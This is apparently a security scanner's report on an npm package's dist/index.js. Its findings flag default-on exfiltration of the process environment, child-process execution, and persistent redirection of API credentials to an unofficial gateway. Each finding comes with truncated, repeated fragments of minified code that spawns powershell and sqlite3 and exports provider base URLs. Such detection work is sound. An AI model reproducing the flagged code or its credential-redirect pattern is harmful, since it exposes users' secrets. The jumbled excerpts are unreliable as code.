1Source sends the broad process environment to a literal external destination.
L1: #!/usr/bin/env node
L2: var v4=Object.defineProperty;var F=(e,t,n)=>()=>{if(n)throw n[0];try{return e&&(t=e(e=0)),t}catch(r){throw n=[r],r}};var Yy=(e,t)=>{for(var n in t)v4(e,n,{get:t[n],enumerable:!0})}...
L3: `,{flag:"wx",mode:384}),await Xe(f,a)}catch(h){throw await Bl(f,{force:!0}).catch(()=>{}),await Bl(e,{recursive:!0,force:!0}).catch(()=>{}),h}return async()=>{try{JSON.parse(await ...
L4: `,{mode:384}),await rL(a,384),await Xe(a,n)}catch(s){throw await $C(a).catch(()=>{}),s}},ht=async(e,t={})=>{if(Qy.getStore()===!0){await FC(e,t);return}let n=await VC();try{await F...
L5: `;if(a||n.tombstoneAbsent!==!1)try{await hL(r,s)}catch(i){if(i.code!=="EEXIST")throw i}}let o=`${e}.anyray-tmp-${process.pid}-${kL
CriticalHardcoded Runtime Data Exfiltration
Source sends credentials or rich application records to a package-controlled external receiver enabled by default.
dist/index.jsView on unpkg · L1 54`);return o.length>0?o+`
L55: `:""},rp=e=>{if(e.trim().length===0)return!0;try{return L8(e),!0}catch{return!1}}});import{randomUUID as V8}from"node:crypto";import{chmod as j8,mkdir as K8,rm as Z8,writeFile as Y...
L56: `)?a.slice(0,-2):a.endsWith(`
HighChild Process
Package source references child process execution.
dist/index.jsView on unpkg · L54 130}
L131: `,A$=e=>new Promise((t,n)=>{let r=ire("powershell.exe",["-NoLogo","-NoProfile","-NonInteractive","-Command",pre],{encoding:"utf8",env:Ot(),windowsHide:!0,timeout:6e4,maxBuffer:1310...
L132: `))}`]:[],`export ${YE}=${dt(n)}`]},M$=(e,t,n)=>{let r=Ze({...e.metadata,tool:Tc});return["export COPILOT_PROVIDER_TYPE='openai'",`export COPILOT_PROVIDER_BASE_URL=${dt(e.openaiBas...
54`);return o.length>0?o+`
L55: `:""},rp=e=>{if(e.trim().length===0)return!0;try{return L8(e),!0}catch{return!1}}});import{randomUUID as V8}from"node:crypto";import{chmod as j8,mkdir as K8,rm as Z8,writeFile as Y...
L56: `)?a.slice(0,-2):a.endsWith(`
...
L60: `).trim().split(/\r?\n/).at(-1),o=/^([01])\|(-?\d+)\|(-?\d+)$/.exec(r??"");zL(o?.slice(1).map(Number))},oQ=(e,t)=>{let n=J8(JL(eQ(),"anyray-cursor-"));try{let o=[".bail on",".timeo...
L61: `);Ag("sqlite3",[e],{input:o,encoding:"utf-8",maxBuffer:mS,stdio:["pipe","ignore","pipe"]})}finally{try{z8(n,{recursive:!0,force:!0})}catch{}}},aQ={kind:"sqlite3-cli",readItem:(e,t...
L62: `)},Ng=e=>!e.byoUpstream&&!Ie(e,"anthropic"),Lg="",ra=(e,t={})=>{let n=e.byoUpstream,r=!n&&Ie(e,"anthropic"),o=Ze({...e.metadata,tool:e.metadata.tool??"claude-
HighSame File Env Network Execution
A single source file combines environment access, network access, and code or shell execution; review context before blocking.
dist/index.jsView on unpkg · L54 •Manifest-reachable source captures an API credential, sends it to a fixed unofficial gateway, and persists that redirection in agent or shell configuration.
dist/index.js:
var v4=Object.defineProperty;var F=(e,t,n)=>()=>{if(n)throw n[0];try{return e&&(t=e(e=0)),t}catch(r){throw n=[r],r}};var Yy=(e,t)=>{for(var n in t)v4(e,n,{get:t[n],enumerable:!0})}...
`,{flag:"wx",mode:384}),await Xe(f,a)}catch(h){throw await Bl(f,{force:!0}).catch(()=>{}),await Bl(e,{recursive:!0,force:!0}).catch(()=>{}),h}return async()=>{try{JSON.parse(await ...
`,{mode:384}),await rL(a,384),await Xe(a,n)}catch(s){throw await $C(a).catch(()=>{}),s}},ht=async(e,t={})=>{if(Qy.getStore()===!0){await FC(e,t);return}let n=await VC();try{await F...
`,r),s=a<0?e.length:a;if(e.slice(o,s).trim()===t)return o;r=e.indexOf(t,r+t.
HighCredential Redirect Persistence
Manifest-reachable source sends a prompted API credential to a fixed unofficial gateway and persists the redirection.
dist/index.jsView on unpkg 54`);return o.length>0?o+`
L55: `:""},rp=e=>{if(e.trim().length===0)return!0;try{return L8(e),!0}catch{return!1}}});import{randomUUID as V8}from"node:crypto";import{chmod as j8,mkdir as K8,rm as Z8,writeFile as Y...
L56: `)?a.slice(0,-2):a.endsWith(`
...
L60: `).trim().split(/\r?\n/).at(-1),o=/^([01])\|(-?\d+)\|(-?\d+)$/.exec(r??"");zL(o?.slice(1).map(Number))},oQ=(e,t)=>{let n=J8(JL(eQ(),"anyray-cursor-"));try{let o=[".bail on",".timeo...
L61: `);Ag("sqlite3",[e],{input:o,encoding:"utf-8",maxBuffer:mS,stdio:["pipe","ignore","pipe"]})}finally{try{z8(n,{recursive:!0,force:!0})}catch{}}},aQ={kind:"sqlite3-cli",readItem:(e,t...
L62: `)},Ng=e=>!e.byoUpstream&&!Ie(e,"anthropic"),Lg="",ra=(e,t={})=>{let n=e.byoUpstream,r=!n&&Ie(e,"anthropic"),o=Ze({...e.metadata,tool:e.metadata.tool??"claude-
HighCommand Output Exfiltration
Source combines command execution, command-output handling, and outbound requests; review data flow before blocking.
dist/index.jsView on unpkg · L54 54Trigger-reachable command-output exfiltration chain: scripts.start -> dist/index.js
L54: `);return o.length>0?o+`
L55: `:""},rp=e=>{if(e.trim().length===0)return!0;try{return L8(e),!0}catch{return!1}}});import{randomUUID as V8}from"node:crypto";import{chmod as j8,mkdir as K8,rm as Z8,writeFile as Y...
L56: `)?a.slice(0,-2):a.endsWith(`
...
L60: `).trim().split(/\r?\n/).at(-1),o=/^([01])\|(-?\d+)\|(-?\d+)$/.exec(r??"");zL(o?.slice(1).map(Number))},oQ=(e,t)=>{let n=J8(JL(eQ(),"anyray-cursor-"));try{let o=[".bail on",".timeo...
L61: `);Ag("sqlite3",[e],{input:o,encoding:"utf-8",maxBuffer:mS,stdio:["pipe","ignore","pipe"]})}finally{try{z8(n,{recursive:!0,force:!0})}catch{}}},aQ={kind:"sqlite3-cli",readItem:(e,t...
L62: `)},Ng=e=>!e.byoUpstream&&!Ie(e,"anthropic"),Lg="",ra=(e,t={})=>{let n=e.by
HighTrigger Reachable Command Output Exfiltration
A manifest entrypoint or package-local install chain reaches command-output exfiltration behavior.
dist/index.jsView on unpkg · L54